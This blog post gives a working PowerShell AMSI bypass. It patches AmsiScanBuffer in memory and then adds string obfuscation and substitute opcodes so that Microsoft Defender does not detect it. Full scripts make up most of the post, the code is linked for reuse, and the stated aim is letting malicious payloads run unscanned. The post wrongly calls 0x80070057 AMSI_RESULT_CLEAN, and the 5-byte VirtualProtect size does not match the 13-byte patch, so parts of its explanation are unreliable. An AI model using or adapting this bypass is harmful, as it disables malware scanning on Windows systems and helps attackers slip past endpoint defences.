When I need to bypass AMSI, I tend to use RastaMouse‘s AmsiScanBufferBypass. Rastamouse has a few blog posts that cover how it works. The basics of it is this: Load amsi.dll, then patch the AmsiScanBuffer() function so that it always returns AMSI_RESULT_CLEAN
. This allows for your nasty payloads to execute without AMSI ruining your day.
Unfortunately, AmsiScanBufferBypass started getting caught by Defender. Oh, the horror! Some basic obfuscation could get around this. I changed the original code of:
Add-Type $Win32
$LoadLibrary = [Win32]::LoadLibrary("am" + "si.dll")
$Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi" + "Scan" + "Buffer")
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)
To the following:
Add-Type $Win32
$test = [Byte[]](0x61, 0x6d, 0x73, 0x69, 0x2e, 0x64, 0x6c, 0x6c)
$LoadLibrary = [Win32]::LoadLibrary([System.Text.Encoding]::ASCII.GetString($test))
$test2 = [Byte[]] (0x41, 0x6d, 0x73, 0x69, 0x53, 0x63, 0x61, 0x6e, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72)
$Address = [Win32]::GetProcAddress($LoadLibrary, [System.Text.Encoding]::ASCII.GetString($test2))
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
$Patch = [Byte[]] (0xBA, 0x59, 0x02, 0x09, 0x82, 0xC5)
for ($i=0; $i -lt $Patch.Length;$i++){$Patch[$i] = $Patch[$i] -0x2}
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)
What I changed was:
- Changed the strings to char arrays
- Added 0x2 to the bytes to patch, then later subtracted them
This was just to get around any static string detection. But then, today, I updated my Windows system and the worst thing happened…

What was I to do now? Come up with my own bypass? Use a different bypass? Copy and paste from amsi.fail? All seemed lost…
After I collected myself I tested it a bit more, and it looked like the bypass was being detected when the patched bytes were copied using [System.Runtime.InteropServices.Marshal]::Copy
. This is when the bytes are copied to the memory address of AmsiScanBuffer(). The bytes you are copying are “opcode” that specify what instructions the CPU will perform when AmsiScanBuffer() is called. The opcode bytes do the following:
b8 57 00 07 80 mov eax,0x80070057
c3 ret
0x80070057 is the hex value for AMSI_RESULT_CLEAN. So, after your patch, AmsiScanBuffer() will always return with AMSI_RESULT_CLEAN in EAX.
To see if Defender was simply detecting those specific bytes being used I changed them to functionally equivalent instructions:
xor eax,eax
add eax,0x7f190178
add eax,0xedfedf
ret
The above instructions accomplish the same goal of getting 0x80070057 in EAX and then returning from the function. There are probably a million and a half ways to do this. This is just the way I chose to do it. Maybe you can do something different like pushing the values to the stack and then POP them into EAX, or set registers to values that when XORd equal 0x80070057 them and store that in EAX! The only limit is your imagination.
To get the opcode bytes, I used https://defuse.ca/online-x86-assembler.htm
0: 31 c0 xor eax,eax
2: 05 78 01 19 7f add eax,0x7f190178
7: 05 df fe ed 00 add eax,0xedfedf
c: c3 ret
Array Literal:
{ 0x31, 0xC0, 0x05, 0x78, 0x01, 0x19, 0x7F, 0x05, 0xDF, 0xFE, 0xED, 0x00, 0xC3 }
The new PowerShell AmsiScanBufferBypass now looks like this:
$Win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $Win32
$test = [Byte[]](0x61, 0x6d, 0x73, 0x69, 0x2e, 0x64, 0x6c, 0x6c)
$LoadLibrary = [Win32]::LoadLibrary([System.Text.Encoding]::ASCII.GetString($test))
$test2 = [Byte[]] (0x41, 0x6d, 0x73, 0x69, 0x53, 0x63, 0x61, 0x6e, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72)
$Address = [Win32]::GetProcAddress($LoadLibrary, [System.Text.Encoding]::ASCII.GetString($test2))
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
$Patch = [Byte[]] (0x31, 0xC0, 0x05, 0x78, 0x01, 0x19, 0x7F, 0x05, 0xDF, 0xFE, 0xED, 0x00, 0xC3)
#0: 31 c0 xor eax,eax
#2: 05 78 01 19 7f add eax,0x7f190178
#7: 05 df fe ed 00 add eax,0xedfedf
#c: c3 ret
#for ($i=0; $i -lt $Patch.Length;$i++){$Patch[$i] = $Patch[$i] -0x2}
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, $Patch.Length)
Now when I run it…It works!

Phew, glad that wasn’t too hard! You can find the code in this gist:
https://gist.github.com/FatRodzianko/c8a76537b5a87b850c7d158728717998
1 comment
Comments are closed.